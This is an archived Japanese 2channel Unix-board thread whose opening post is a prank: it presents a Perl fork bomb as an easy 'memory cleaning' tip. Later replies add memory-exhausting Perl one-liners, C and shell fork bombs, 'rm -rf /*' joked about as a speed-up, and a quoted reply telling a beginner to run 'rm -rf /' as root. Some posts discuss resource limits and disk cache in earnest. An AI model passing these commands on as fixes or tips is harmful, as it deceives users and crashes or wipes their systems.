トップページunix
659コメント171KB

簡単!メモリクリーニング

■ このスレッドは過去ログ倉庫に格納されています
0001名無しさん@お腹いっぱい。NGNG
UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、

$ perl -e 'while (1) { fork; }'

とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数%レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。
0261名無しさん@お腹いっぱい。NGNG
>>260
煽りなんだろうけど、いまいち意味がわからない。
0262名無しさん@お腹いっぱい。NGNG
>>1 で落ちない、というだけでは十分ではない。
0263222NGNG
私も2.4.20-gentoo-r5ですけどなんの制限してなくても普通に動作してますよ。

ちなみにi686 Intel(R) Pentium(R) 4 CPU 2.40GHz + メモリ1Gの環境です。

0264名無しさん@お腹いっぱい。NGNG
じゃあ運がよかったんだね。
だが、>>263の運もここまでだった。
まさか、あんなことになるなんて・・・
0265222NGNG
運?

とりあえず>>1みたいにforkせずとも以下のコマンドで見事にお亡くなりになる事は確認しました。
しかもこっちの方がメモリクリーニングっぽい。
perl -e '${"tmp".$i}=[0..100000000] while ($++i)'
0266訂正NGNG
ループ関係なく
${"tmp".$i}=[0..100000000]
だけで死んだみたいです。
0267名無しさん@お腹いっぱい。NGNG
それはもうこのスレとは無関係の固有問題かと
0268名無しさん@お腹いっぱい。NGNG
>>265
FreeBSD-CURRENTですが、一瞬で
Out of memory!
とでるだけで何も起きません。

一桁減らして
  perl -e '${"tmp".$i}=[0..10000000] while ($++i)'
にしてみるとしばらくの間重くなったけど正常に終了。
0269名無しさん@お腹いっぱい。NGNG
perl -e '${"tmp".$i}=[0..100000000] while ($++i)'
Out of memory!

gentooでも同じく。
よくわからないんだけど、これは一体なにをしてるんだ?
0270222NGNG
0,1,2,...という値が入った100000000個の要素を持つ配列を永遠に作り続ける
という物です。(($++i)は(++$i)の間違いでした)実際には以下のもので代用可能です。
perl -e '@tmp = (0..100000000);'

ちなみに家の場合0を一つ増やして
perl -e '@tmp = (0..1000000000);
とするとちゃんとOut of memory!と出てくれます。
0271名無しさん@お腹いっぱい。NGNG
結局>>1のプロセス食い潰しか
>>270のスワップ食い潰し
くらいしか案が出ないのか。

Win2kでも試してみたが、やっぱり資源が尽きるとダメだな。
LinuxとFreeBSDでも制限かけてない状態で資源食い潰すようになるとダメだめだ。
と、ここまではプロセスの話。

メモリとスワップの食い潰しは制限できるもんだろうか?
Win2kと、Linux、FreeBSD共に数秒後、HDDがガリガリ言いだして
放置しておくとと固まってるな。 やはり基本的に「スワップはったら負け」なんだろうか。
2kの方は、ページングファイル固定にしとくと、寿命が決定される。
可変にしとくと、HDD満タンになるまでガリガリ言ってるな。
満タンになったら氏んだ。
その間、作業らしい作業はできなかった。どのOSでもね。

FreeBSDのやりかたわからんけど、Linuxの方はAlt+SysRqで復旧は可能です。
Windowsは何もできなくなって、電源OFFしますた。
0272名無しさん@お腹いっぱい。NGNG
メモリは普通にlimitがかけられるじゃん。でもswapはだめげ?
そもそも仮想メモリシステムの上では、ユーザは自分が実メモリにのってるの
かswapにのってるのか意識できないからなぁ....

ディスクI/O とか swap ネット帯域とか cpu時間とか メモリ量とか 帯域とか
いろいろ重み付けで加算した「負荷」を定義して、「負荷」をlimitすればい
いのかな。わりと挙動が予測できなくてイヤっぽいんだけど。
0273名無しさん@お腹いっぱい。NGNG
┏━━━━━━━━┓
┃○○○○○○○○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
0274名無しさん@お腹いっぱい。NGNG
┏━━━━━━━━┓
┃○○○○○○○○┃
┃○●●●●●●○┃
┃○●○○○○●○┃
┃○●○●●○●○┃
┃○●○●●○●○┃
┃○●○○○○●○┃
┃○●●●●●●○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
0275名無しさん@お腹いっぱい。NGNG
minfree近所まで減ったらOSが勝手にやってくれるのに・・・

なんでいちいちンなこと実行するんですか?
0276名無しさん@お腹いっぱい。NGNG
ここに真面目なひとが....
0277名無しさん@お腹いっぱい。NGNG
× 真面目な
○ 空気を読む神経回路が備わってない
0278tatibanaNGNG
>>150
失礼ですね
どこの誰かもわからない低能と一緒にしないでいただきたい
0279あぼーんNGNG
あぼーん
0280名無しさん@お腹いっぱい。NGNG
結局カーネルとかいじらないで簡単安全メモリクリーニングってできないの?
0281名無しさん@お腹いっぱい。NGNG
メモリクリーニングするといいことあるの?
0282名無しさん@お腹いっぱい。NGNG
勝手にディスクキャッシュにメモリ使われるのうざいからどうにかしたいんだよね。
それが有効利用だってことは良くわかってる。でもやめさせたい。メモリを勝手に使うな。
0283名無しさん@お腹いっぱい。NGNG
>>282
FreeBSD 4.x, 5.xならsysctl debug.vfscache=0でもするんだな。
0284あぼーんNGNG
あぼーん
0285あぼーんNGNG
あぼーん
0286名無しさん@お腹いっぱい。NGNG
それが有効利用だってことは良くわかってる
それが有効利用だってことは良くわかってる
それが有効利用だってことは良くわかってる
0287名無しさん@お腹いっぱい。NGNG
メモリを勝手に使うな。
メモリを勝手に使うな。
メモリを勝手に使うな。
0288名無しさん@お腹いっぱい。NGNG
なんか妙なメモリ観が出たな。おもしろいから発展させてよ
0289名無しさん@お腹いっぱい。NGNG
まさにドズという欠陥OSとそのアプリがもたらした電波だな。
0290 NGNG
犬板で割とよくある質問

----
From: [177] login:Penguin <>
Date: 03/07/23 20:21 ID:KoJVwpXS

freeで実メモリを確認すると、数時間後にはすぐfreeがゼロ近くになってしまう。
+/- buffers, cacheを見ればちゃんとfreeが豊富にあるからいいけど、
精神的にbuffersやcacheじゃなくて実メモリが回復して欲しい。

そんなコマンドはないの?

くだらねえ質問はここに書きこめ! Part53 [Linux]
http://pc.2ch.net/test/read.cgi/linux/1058846630/177
0291名無しさん@お腹いっぱい。NGNG
>>289
あれにはVM無いからメインメモリーの残量が命だったもんねぇ。(遠い目)
Windows 9xシリーズにはVMはあったけれど似たような欠陥があったし。

ソフトを動かしていないときにはメモリー使用率が低いほうがいいと思うのはM$のせいだな。
0292名無しさん@お腹いっぱい。NGNG
>>291
漏れはむしろ、

MS-DOSの640KBの壁に、チャレンジしてて、そのまんま来ちゃった人

だと思うのだがどうだ?
0293名無しさん@お腹いっぱい。NGNG
>>292
むしろ古参の技術者に洗脳された口と見た。
チャレンジしていたような世代が今ごろ犬使うか?

メモリー開放伝説はsync;halt伝説とかfinal method伝説とかと同じ類だな。
0294名無しさん@お腹いっぱい。NGNG
俺もディスクキャッシュやめさせたい。ていうか減らしたい。
実メモリの空きしか見てないどうしようもないソフトがあって。
ディスクキャッシュで埋め尽くされるとそこで止まっちゃうんだよな。
0295名無しさん@お腹いっぱい。NGNG
>>294
malloc() すればぁ。実装によってはデータ埋めてやらないと
いけないかも。cmalloc() だとどうかな
0296名無しさん@お腹いっぱい。NGNG
cmalloc
0297名無しさん@お腹いっぱい。NGNG
cmallocってC言語・・・?
要するにメモリ確保するだけして開放するプログラムを自分で書けってことだよね?
0298名無しさん@お腹いっぱい。NGNG
あはは
0299あぼーんNGNG
あぼーん
0300あぼーんNGNG
あぼーん
0301名無しさん@お腹いっぱい。NGNG
埋めるのなんざmemsetで一発だろ
0302名無しさん@お腹いっぱい。NGNG
free(calloc(N,1));
0303あぼーんNGNG
あぼーん
0304名無しさん@お腹いっぱい。NGNG
>>297
多分callocって言いたかったんじゃないの?
確保するだけでなく何らかのアクセスをしてpage faultを起こしてやらないとメモリーは解放されない。
callocってmallocしたあとに全領域をbzeroして書き換えてる(FreeBSD 4.8Rの実装)確保後のアクセスまでやってくれるってことだろうね。

0305名無しさん@お腹いっぱい。NGNG
memsetとかallocとかいってるヤシ・・・

ネタだよね?
0306名無しさん@お腹いっぱい。NGNG
>>294
> 実メモリの空きしか見てないどうしようもないソフトがあって。
キャッシュも見るようにおながいしてみれば?
0307294NGNG
>>304
プログラムのことはさっぱりわからないんだけど、それらはC言語の命令・・・なんだよね?

>>306
市販パッケージソフトなのでどうにもならないです・・・。
0308304NGNG
>>305
自分で試す気は毛頭無いけれど、まじめに書いているつもり。
0309あぼーんNGNG
あぼーん
0310名無しさん@お腹いっぱい。NGNG
>>307
>C言語の命令

関数だろ、C なら。
0311名無しさん@お腹いっぱい。NGNG
>>310
初心者にむなしいツッコミすんな
0312あぼーんNGNG
あぼーん
0313名無しさん@お腹いっぱい。NGNG
俺の頭にC言語の命令をとばすのはやめろおお
0314名無しさん@お腹いっぱい。NGNG
win系はfork関数サポートしてないんじゃなかったっけ?
0315名無しさん@お腹いっぱい。NGNG
fork関数
fork関数
fork関数

と。
0316名無しさん@お腹いっぱい。NGNG
>>314 張っとく
http://www.microsoft.com/japan/msdn/library/default.asp?url=/japan/msdn/library/ja/vccore/html/_core_port_from_unix_to_win32.asp
0317名無しさん@お腹いっぱい。NGNG
システムコール入り口への関数

と捉えると、fork関数でもよいではないかよいではないか
0318名無しさん@お腹いっぱい。NGNG
最近の話題サパーリ意味わからん
0319名無しさん@お腹いっぱい。NGNG
forkダンス
forkダンス
forkダンス

と。
0320名無しさん@お腹いっぱい。NGNG
>>1を走らせている状態(Load averageが1000を超えているような状態)でも
操作はできるけれど、ssh でログインできない。
sshd の親プロセスを nice -n -15 にしておいても、forkされる子プロセスの
優先度が 0 になってしまう。子プロセスの優先度も -15 にするためには、
openssh のソースを修正しなくちゃいけない?
0321314NGNG
>>316
遅レススマソ。THX
0322あぼーんNGNG
あぼーん
0323名無しさん@お腹いっぱい。NGNG
むしろコスモクリーニング
0324名無しさん@お腹いっぱい。NGNG
小宇宙クリーニング
0325名無しさん@お腹いっぱい。NGNG
あるいはメモリリーキング
0326名無しさん@お腹いっぱい。NGNG
リナックスは糞

これ常識
0327名無しさん@お腹いっぱい。NGNG
なんじゃこりやぁぁぁぁぁぁぁぁぁぁ
0328名無しさん@お腹いっぱい。NGNG
>>95
昔、MacOS8で応答しなくなり、二時間たっても回復しないから帰った
次の日見たら、応答してて待っていたダイアログ出してたw
0329名無しさん@お腹いっぱい。NGNG
放置プレイ
0330名無しさん@お腹いっぱい。NGNG
Mac埼京
0331名無しさん@お腹いっぱい。NGNG
$echo main(){ while(!fork()); return 0; } >init.c ; gcc -o init init.c; ./init

とかだとどうかな?
0332名無しさん@お腹いっぱい。NGNG
脂肪
0333名無しさん@お腹いっぱい。NGNG
リナックス脂肪
0334あぼーんNGNG
あぼーん
0335名無しさん@お腹いっぱい。NGNG
強制シャットダウンでディスクを壊さん程度に。
0336名無しさん@お腹いっぱい。NGNG
すげー、rm -rf /* やったら超速くなりました
0337名無しさん@お腹いっぱい。NGNG
すげー、rm -rf >>336 やったら超速くなりました
0338あぼーんNGNG
あぼーん
0339名無しさん@お腹いっぱい。NGNG
レイチェルカーソンって沈黙の春とかいうの書いた人だっけか。
0340名無しさん@お腹いっぱい。NGNG
>>336
rootになるのを忘れるな
0341名無しさん@お腹いっぱい。NGNG
#!/bin/sh
. $0
0342名無しさん@お腹いっぱい。NGNG
#!/bin/sh
case $1 in
>>1)
echo "逝ってよし"
;;
*)
echo "ウンコ喰え"
exit 1
;;
esac

exit 0
0343名無しさん@お腹いっぱい。NGNG
>>338 すげー誤爆だな、
>>339 そうです。
0344名無しさん@お腹いっぱい。NGNG
簡単!ディスククリーニング
0345名無しさん@お腹いっぱい。NGNG
#!/bin/sh
. $0 &
0346名無しさん@お腹いっぱい。NGNG
fork
0347名無しさん@お腹いっぱい。NGNG
Linuxが糞だという事実を確認するためのスレはここですか?
0348名無しさん@お腹いっぱい。NGNG
リナッ糞
0349名無しさん@お腹いっぱい。NGNG
やっぱWindows最強だな
0350名無しさん@お腹いっぱい。NGNG
>>2
そこで質問したら、

890 :名無しさん@お腹いっぱい。 :03/05/01 07:02
>>889
rootでログインして

# rm -rf /

こんな答えしか返ってきませんでした。
だからまともなレスをもらうためにスレを立てるんです。
だいたい>>2は、そんな事を書くぐらいならアンインストールの方法を
一言書いてくれればいいじゃないですか。
0351名無しさん@お腹いっぱい。NGNG
ちんちん
0352名無しさん@お腹いっぱい。NGNG
ddのがナウイ
0353名無しさん@お腹いっぱい。NGNG
exit 0
0354名無しさん@お腹いっぱい。NGNG
洗剤つけてタワシでゴシゴシ洗え
0355名無しさん@お腹いっぱい。NGNG
この程度でリナックスは氏ぬなんて糞OSですね。
0356名無しさん@お腹いっぱい。NGNG
>>331
time ./init
./init 0.00s user 0.00s system 0% cpu 0.001 total

何か?
0357名無しさん@お腹いっぱい。NGNG
>>356
子作りしてすぐ死ぬわけだから、
そいつ自体の負荷が小さいのは当然では?
0358名無しさん@お腹いっぱい。NGNG
>>345

システム落ちた....

なんで?
0359名無しさん@お腹いっぱい。NGNG
>>358
そのシステムってなぁに???
0360名無しさん@お腹いっぱい。NGNG
>>358
わからんの?
■ このスレッドは過去ログ倉庫に格納されています